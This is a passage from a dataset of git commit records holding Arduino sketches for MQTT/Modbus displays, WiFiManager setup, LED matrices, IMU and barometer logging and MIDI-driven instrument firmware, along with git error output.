many as you want. TOTAL_NO_OF_PACKETS\n\/\/ is automatically updated.\nenum\n{\n PACKET1,\n PACKET2,\n PACKET3,\n TOTAL_NO_OF_PACKETS \/\/ leave this last entry\n};\n\n\/\/ Create an array of Packets to be configured\nPacket packets[TOTAL_NO_OF_PACKETS];\n\n\/\/ Masters register array\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\n\n\nvoid callback(char* topic, byte* payload, unsigned int length);\nYunClient yun;\nPubSubClient client(MQTT_SERVER, 1883, callback, yun);\n\n\nvoid setup() {\n \n Serial.begin(9600);\n\n\/\/\n \n\n \/\/ Initialize each packet\n modbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 0, 0);\n modbus_construct(&packets[PACKET2], 1, PRESET_MULTIPLE_REGISTERS, 0, 16, 0);\n \/\/ modbus_construct(&packets[PACKET3], 1, PRESET_MULTIPLE_REGISTERS, 200, 4, 0);\n \n modbus_configure(&Serial1, baud, SERIAL_8N2, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n lcd.begin (20,4);\n lcd.setBacklight(LED_ON);\n\n lcd.setCursor(0,1);\n \n Bridge.begin();\n\/\/ client.connect(\"yun\");\n\/\/client.publish(\"test\/test\",\"this works better!\");\n\/\/client.subscribe(\"rr\/temp\");\nredlibreconn();\n\n}\nvoid callback(char* topic, byte* payload, unsigned int length) {\n\n\n \n \n\n int i = 0;\n for(i=0; i<length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \n\nparse();\n\n\n}\n\n\n\nvoid loop()\n{\n\/\/client.loop();\nredlibreconn();\n\n\nif (val4 == 1) \n{\nmodbus_update(); \nregs[0] = val1;\nregs[1] = val2;\nregs[2] = val3;\nregs[3] = val4;\n\n\n lcd.setCursor(0,0);\n lcd.print(\"SA:\");\n lcd.setCursor(3,0);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,0);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,0);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,0);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,0);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,0);\n lcd.print(\"%\");\n \n\n}\n else if (val4 == 2)\n{\n \n \/\/ client.publish(\"test\/temp2\",\"es el 2\");\nmodbus_update(); \nregs[4] = val1;\nregs[5] = val2;\nregs[6] = val3;\nregs[7] = val4;\n\n\n\n lcd.setCursor(0,1);\n lcd.print(\"SB:\");\n lcd.setCursor(3,1);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,1);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,1);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,1);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,1);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,1);\n lcd.print(\"%\");\n\n \n\n}\n\n else if (val4 == 3)\n{\nmodbus_update(); \nregs[8] = val1;\nregs[9] = val2;\nregs[10] = val3;\nregs[11] = val4;\n\n\n\n lcd.setCursor(0,2);\n lcd.print(\"SC:\");\n lcd.setCursor(3,2);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,2);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,2);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,2);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,2);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,2);\n lcd.print(\"%\");\n \n\n}\n\n else if (val4 == 4)\n{\nmodbus_update(); \nregs[12] = val1;\nregs[13] = val2;\nregs[14] = val3;\nregs[15] = val4;\n\n\n lcd.setCursor(0,3);\n lcd.print(\"SD:\");\n lcd.setCursor(3,3);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,3);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,3);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,3);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,3);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,3);\n lcd.print(\"%\");\n \n \n}\n}\n\nvoid parse()\n{\n \n char separator[] = \",\"; \n\n char *result = NULL;\n int index = 0;\n\n result = strtok( message_buff, separator ); \n while( (result != NULL) && (index < 4) ) {\n Serial.print( result );\n Serial.println( );\n values[index++] = atol(result); \/\/ become to values\n\n result = strtok( NULL, separator ); \n }\n\n \n val1 = values[0];\n val2 = values[1];\n val3 = values[2];\n val4 = values[3];\n\nSerial.print(\"valor 1: \"); Serial.println(val1);\nSerial.print(\"valor 2: \"); Serial.println(val2);\nSerial.print(\"valor 3: \"); Serial.println(val3);\nSerial.print(\"valor 4: \"); Serial.println(val4);\n \n \n}\n\nvoid redlibreSubscribe() {\n client.subscribe(\"rr\/temp\");\n}\nvoid redlibreconn() {\n \/\/ add reconnection logics\n if (!client.connected()) {\n \/\/ connection to MQTT server\n if (client.connect(clientId)) {\n Serial.println(\"[PHYSICAL] Successfully connected with MQTT\");\n client.publish(\"test\/temp\",\"holaaa\");\n redlibreSubscribe(); \/\/ topic subscription\n }\n }\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rr\/yun_mqtt_rs485_i2c_LCD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d400b655c2d407cdcc2dd10d01c5c38396c70449","subject":"made some fixes","message":"made some fixes\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"ocean-x\/ocean-x.ino","new_file":"ocean-x\/ocean-x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f0e1ebe9ea2a6bfdeec6817a85631489e3392851","subject":"WiFiManager test","message":"WiFiManager test\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_67-WiFiManager\/_67-WiFiManager.ino","new_file":"_67-WiFiManager\/_67-WiFiManager.ino","new_contents":"#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/needed for library\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h> \/\/https:\/\/github.com\/tzapu\/WiFiManager\n\n\/\/for LED status\n#include <Ticker.h>\nTicker ticker;\n\nString macToStr(const uint8_t* mac) {\n String result;\n for (int i = 4; i < 6; ++i) {\n result += String(mac[i], 16);\n }\n return result;\n}\n\nvoid tick()\n{\n \/\/toggle state\n int state = digitalRead(BUILTIN_LED); \/\/ get the current state of GPIO1 pin\n digitalWrite(BUILTIN_LED, !state); \/\/ set pin to the opposite state\n}\n\nvoid configModeCallback (WiFiManager *myWiFiManager) {\n Serial.println(\"Entered config mode\");\n Serial.println(WiFi.softAPIP());\n \/\/if you used auto generated SSID, print it\n Serial.println(myWiFiManager->getConfigPortalSSID());\n \/\/entered config mode, make led toggle faster\n ticker.attach(0.2, tick); \n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n\n \/\/set led pin as output\n pinMode(BUILTIN_LED, OUTPUT);\n \/\/ start ticker with 0.5 because we start in AP mode and try to connect\n ticker.attach(0.6, tick);\n\n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n WiFiManager wifiManager;\n \/\/reset saved settings\n \/\/wifiManager.resetSettings();\n\n \/\/set custom ip for portal\n \/\/wifiManager.setAPConfig(IPAddress(10,0,1,1), IPAddress(10,0,1,1), IPAddress(255,255,255,0));\n\n wifiManager.setDebugOutput(true);\n \/\/fetches ssid and pass from eeprom and tries to connect\n \/\/if it does not connect it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n\n String APNAME = \"AutoConnectAP-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n APNAME += macToStr(mac);\n\n wifiManager.setAPCallback(configModeCallback);\n\/* \n wifiManager.autoConnect(APNAME.c_str(), \"password123\");\n \/\/or use this for auto generated name ESP + ChipID\n \/\/wifiManager.autoConnect();\n*\/\n\n \/\/fetches ssid and pass and tries to connect\n \/\/if it does not connect it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n if(!wifiManager.autoConnect(APNAME.c_str(), \"password123\")) {\n Serial.println(\"failed to connect and hit timeout\");\n \/\/reset and try again, or maybe put it to deep sleep\n ESP.reset();\n delay(1000);\n } \n\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n\n ticker.detach();\n \/\/keep LED on\n digitalWrite(BUILTIN_LED, LOW);\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_67-WiFiManager\/_67-WiFiManager.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"47334f579776b5c514f4a8fe14dacdf1adee7479","subject":"Not sure if this added to the github before","message":"Not sure if this added to the github before\n","repos":"sassystacks\/DASS","old_file":"Sensors\/xyz_commaSeparated.ino\/xyz_commaSeparated.ino","new_file":"Sensors\/xyz_commaSeparated.ino\/xyz_commaSeparated.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sassystacks\/DASS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"079c4ab324fbb5acb8448ed2f27a713cd12abda5","subject":"light raking","message":"light raking\n","repos":"andydrop\/klampfinator,andydrop\/klampfinator","old_file":"src\/campfireXL\/campfireXL.ino","new_file":"src\/campfireXL\/campfireXL.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/andydrop\/klampfinator.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"a5c2849423276dd96fa41f2110dcc8cb26bcc051","subject":"Create HT16K33.ino","message":"Create HT16K33.ino","repos":"PEstes\/spark-adafruit-led-backpack,therrewi\/Spark_Adafruit_LEDBackpack,epec254\/BCG_LED_Library,creationix\/spark-adafruit-led-backpack,beefbowl\/Spark_Adafruit_LEDBackpack","old_file":"firmware\/examples\/HT16K33\/HT16K33.ino","new_file":"firmware\/examples\/HT16K33\/HT16K33.ino","new_contents":"\/*************************************************** \n This is a library for our I2C LED Backpacks\n\n Designed specifically to work with the Adafruit LED Matrix backpacks \n ----> http:\/\/www.adafruit.com\/products\/872\n ----> http:\/\/www.adafruit.com\/products\/871\n ----> http:\/\/www.adafruit.com\/products\/870\n\n These displays use I2C to communicate, 2 pins are required to \n interface. There are multiple selectable I2C addresses. For backpacks\n with 2 Address Select pins: 0x70, 0x71, 0x72 or 0x73. For backpacks\n with 3 Address Select pins: 0x70 thru 0x77\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n\nAdafruit_LEDBackpack matrix = Adafruit_LEDBackpack();\n\nuint8_t counter = 0;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"HT16K33 test\");\n \n matrix.begin(0x70); \/\/ pass in the address\n}\n\nvoid loop() {\n \/\/ paint one LED per row. The HT16K33 internal memory looks like\n \/\/ a 8x16 bit matrix (8 rows, 16 columns)\n for (uint8_t i=0; i<8; i++) {\n \/\/ draw a diagonal row of pixels\n matrix.displaybuffer[i] = _BV((counter+i) % 16) | _BV((counter+i+8) % 16) ;\n }\n \/\/ write the changes we just made to the display\n matrix.writeDisplay();\n delay(100);\n\n counter++;\n if (counter >= 16) counter = 0; \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/HT16K33\/HT16K33.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e372ba0e0ed8e448058101f8b4f4bfbfebca6590","subject":"Added December_6_14.ino Arduino Example.","message":"Added December_6_14.ino Arduino Example.\n","repos":"huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15,lolisa\/2014-15","old_file":"Arduino Examples\/December_6_14\/December_6_14.ino","new_file":"Arduino Examples\/December_6_14\/December_6_14.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"5128f2d03e5c2726b59e97e66f0c29d2df37cf5f","subject":"First version by Lucas Soubeyrand \"l'ino avec l'acc\u00e9l\u00e9ra, le gyro et l'altim\u00e8tre est dans Attitude_Altitude (c'est celui qui fonctionne \u00e0 57600 bauds mais pas 9600\"","message":"First version by Lucas Soubeyrand\n\"l'ino avec l'acc\u00e9l\u00e9ra, le gyro et l'altim\u00e8tre est dans Attitude_Altitude (c'est celui qui fonctionne \u00e0 57600 bauds mais pas 9600\"\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/Attitude_Altitude\/Attitude_Altitude.ino","new_file":"Arduino\/Attitude_Altitude\/Attitude_Altitude.ino","new_contents":"#include \"I2Cdev.h\"\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\n#include \"MS561101BA.h\"\n#include \"Wire.h\"\n\n#include <MsTimer2.h>\n#include <VirtualWire.h> \n\n#define UPDATE_RATE 500\n#define BAUDRATE 57600\n\n\n#define MOVAVG_SIZE 32\n\nMPU6050 mpu(0x69); \/\/ <-- use for AD0 high\nMS561101BA baro = MS561101BA();\n\n\/\/ uncomment \"OUTPUT_READABLE_YAWPITCHROLL\" if you want to see the yaw\/\n\/\/ pitch\/roll angles (in degrees) calculated from the quaternions coming\n\/\/ from the FIFO. Note this also requires gravity vector calculations.\n\/\/ Also note that yaw\/pitch\/roll angles suffer from gimbal lock (for\n\/\/ more info, see: http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n#define OUTPUT_READABLE_YAWPITCHROLL\n\n\/\/ uncomment \"OUTPUT_READABLE_WORLDACCEL\" if you want to see acceleration\n\/\/ components with gravity removed and adjusted for the world frame of\n\/\/ reference (yaw is relative to initial orientation, since no magnetometer\n\/\/ is present in this case). Could be quite handy in some cases.\n#define OUTPUT_READABLE_WORLDACCEL\n\n\n\/\/\/******* Acc+gyro\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\/\/\/\/\/\/\/********Baro\nfloat movavg_buff[MOVAVG_SIZE];\nint movavg_i=0;\n\nconst float sea_press = 1013.25;\nfloat press, temp;\n\/\/\/\/\/\/\/************\n\n\n\/\/\/\/*** Com\n\nstruct Attitude {\n int u;\n int v;\n int w;\n int x;\n int y;\n int z;\n int t;\n int h;\n int p;\n};\n\nAttitude attitude;\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically) \n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(BAUDRATE);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n \n Serial.println(F(\"Initializing Barometer...\"));\n \/\/ Suppose that the CSB pin is connected to GND.\n \/\/ You'll have to check this on your breakout schematics\n baro.init(MS561101BA_ADDR_CSB_LOW); \n delay(100);\n \n \/\/ populate movavg_buff before starting loop\n for(int i=0; i<MOVAVG_SIZE; i++) {\n movavg_buff[i] = baro.getPressure(MS561101BA_OSR_4096);\n } \n\n \/\/ initialize device\n Serial.println(F(\"Initializing Gyro+Acc...\"));\n mpu.initialize();\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(0, dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n \n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\nlong last_time =0;\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \n \/\/ other program behavior stuff here \n float temperature = baro.getTemperature(MS561101BA_OSR_4096);\n if(temperature) { temp = temperature; }\n attitude.t = temp*100;\n \/\/Serial.print(\" temp: \"); Serial.print(temp);\n \n press = baro.getPressure(MS561101BA_OSR_4096);\n if(press!=NULL) { pushAvg(press); }\n press = getAvg(movavg_buff, MOVAVG_SIZE);\n attitude.p = press;\n \/\/Serial.print(\" degC pres: \"); Serial.print(press);\/\/\n \n float altitude = getAltitude(press, temp);\n attitude.h = altitude;\n \/\/Serial.print(\" mbar altitude: \"); Serial.print(altitude); Serial.println(\" m\");\n \n if (millis() > last_time +UPDATE_RATE)\n { sendData();\n last_time = millis();\n }\n \n \/\/ enf of other programm behavior\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n \n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n attitude.u = ypr[0] * 180\/M_PI*100;\n attitude.v = ypr[1] * 180\/M_PI*100;\n attitude.w= ypr[2] * 180\/M_PI*100;\n \/*Serial.print(\"ypr\\t\"); Serial.print(ypr[0] * 180\/M_PI);\n Serial.print(\"\\t\"); Serial.print(ypr[1] * 180\/M_PI);\n Serial.print(\"\\t\"); Serial.println(ypr[2] * 180\/M_PI);*\/\n \n \/\/ display initial world-frame acceleration, adjusted to remove gravity\n \/\/ and rotated based on known orientation from quaternion\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);\n attitude.x = aaWorld.x;\n attitude.y = aaWorld.y;\n attitude.z = aaWorld.z;\n \/*Serial.print(\"aworld\\t\"); Serial.print(aaWorld.x);\n Serial.print(\"\\t\"); Serial.print(aaWorld.y);\n Serial.print(\"\\t\"); Serial.println(aaWorld.z);*\/\n \n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n\nfloat getAltitude(float press, float temp) {\n \/\/return (1.0f - pow(press\/101325.0f, 0.190295f)) * 4433000.0f;\n return ((pow((sea_press \/ press), 1\/5.257) - 1.0) * (temp + 273.15)) \/ 0.0065;\n}\n\nvoid pushAvg(float val) {\n movavg_buff[movavg_i] = val;\n movavg_i = (movavg_i + 1) % MOVAVG_SIZE;\n}\n\nfloat getAvg(float * buff, int size) {\n float sum = 0.0;\n for(int i=0; i<size; i++) {\n sum += buff[i];\n }\n return sum \/ size;\n \n}\n\n\nvoid sendData()\n{\n \/\/Sending data to gbase\n char SensorMsg1[7]; \n \/\/itoa(attitude.u,SensorMsg1,10);\n sprintf(SensorMsg1,\"%c%d\",'u',attitude.u);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'v',attitude.v);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'w',attitude.w);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'x',attitude.x);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'y',attitude.y);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'z',attitude.z);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'h',attitude.h);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'p',attitude.p);\n Serial.println(SensorMsg1);\n sprintf(SensorMsg1,\"%c%d\",'t',attitude.t);\n Serial.println(SensorMsg1);\n Serial.println();\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Attitude_Altitude\/Attitude_Altitude.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ae93733c5307e5339131e3685479c5d5da853bd","subject":"uploaded ensemble seven firmware","message":"uploaded ensemble seven firmware\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Firmeware\/EnsembleSeven\/EnsembleSeven.ino","new_file":"Firmeware\/EnsembleSeven\/EnsembleSeven.ino","new_contents":"\/* PHOBOS - EnsembleSeven firmware v.0.2 (27.05.2017)\n * \n * using: \n * Arduino v1.8.0\n * MIDI_Library v.4.3.1 by fortyseveneffects\n * Servo Library v.1.1.2\n * EEPROM Library v.2.0.0\n * \n * plays: \n * A - 2 motors rubbing strings\n * B - 4 solenoids plucking strings \n * C - 4 solenoids plucking strings\n * D - 2 servos plucking strings\n *\/\n\n#include <EEPROM.h>\n#include <Servo.h>\n#include <MIDI.h>\n#define MIDICH 7\n\n\/\/ MOTORS PINS\n#define A1 9\n#define A2 10\n\/\/ SOLENOIDS_1 PINS\n#define B1 5\n#define B2 6\n#define B3 7\n#define B4 8\n\/\/ SOLENOIDS_2 PINS\n#define C1 44\n#define C2 2\n#define C3 3\n#define C4 4\n\/\/ SERVOS' PINS\n#define D1 45\n#define D2 46\n\n\/* Addresses on Arduino EEPROM for servo control parameters*\/\n#define S1MININC 0 \/\/ servo1 min increment (cc=120)\n#define S1MAXINC 1 \/\/ servo1 max increment (cc=121)\n\n#define S2MININC 2 \/\/ servo2 min increment (cc=122)\n#define S2MAXINC 3 \/\/ servo2 max increment (cc=123)\n\n#define S1MINANG 4 \/\/ servo1 min angle (cc=124)\n#define S1MAXANG 5 \/\/ servo1 max angle (cc=125)\n\n#define S2MINANG 6 \/\/ servo2 min angle (cc=126)\n#define S2MAXANG 7 \/\/ servo2 max angle (cc=127)\n\n\/\/ servos\nServo servo1, servo2;\nbool servoState[2]; \/\/ servo state to control servos out of MIDI loop\nfloat servoPos[2]; \/\/ servo current position\nfloat servoInc[2]; \/\/servo increment value which relates to movement speed\nfloat servoMinInc[2]; \/\/ servo min increment values \nfloat servoMaxInc[2]; \/\/ servo min increment values \nfloat servoMinAng[2]; \/\/ servo min angle\nfloat servoMaxAng[2]; \/\/ servo max angle \n\n\/\/ make note to pin array\nbyte note2pin[38];\nbyte vel, pitch, val, cc;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(MIDICH); \/\/ Launch MIDI and listen to channel 1\n MIDI.turnThruOn();\n \n \/\/ set output pins\n pinMode(A1, OUTPUT);\n pinMode(A2, OUTPUT);\n \n pinMode(B1, OUTPUT);\n pinMode(B2, OUTPUT);\n pinMode(B3, OUTPUT);\n pinMode(B4, OUTPUT);\n \n pinMode(C1, OUTPUT);\n pinMode(C2, OUTPUT);\n pinMode(C3, OUTPUT);\n pinMode(C4, OUTPUT);\n \n servo1.attach(D1);\n servo2.attach(D2);\n \n \/\/ set servos to initial position\n servoPos[0] = midi2angle(EEPROM.read(S1MINANG));\n servo1.write(servoPos[0]);\n \n servoPos[1] = midi2angle(EEPROM.read(S2MINANG));\n servo2.write(servoPos[1]);\n \n \/\/ set servos' min&max increment values\n \/\/ NOTE: min\/max inc values are between 0 and 127 (after mapped correspond to 0.1 to 10 degrees per millisecond)\n servoMinInc[0] = EEPROM.read(S1MININC);\n servoMaxInc[0] = EEPROM.read(S1MAXINC);\n\n servoMinInc[1] = EEPROM.read(S2MININC);\n servoMaxInc[1] = EEPROM.read(S2MAXINC);\n \n \/\/ set servos0 min&max angle\n \/\/ NOTE: min\/max angle values are already converted to angles\n servoMinAng[0] = midi2angle( EEPROM.read(S1MINANG) );\n servoMaxAng[0] = midi2angle( EEPROM.read(S1MAXANG) );\n\n servoMinAng[1] = midi2angle( EEPROM.read(S2MINANG) );\n servoMaxAng[1] = midi2angle( EEPROM.read(S2MAXANG) );\n\n \/\/ set note2pin array\n note2pin[1] = A1;\n note2pin[3] = A2;\n\n note2pin[0] = 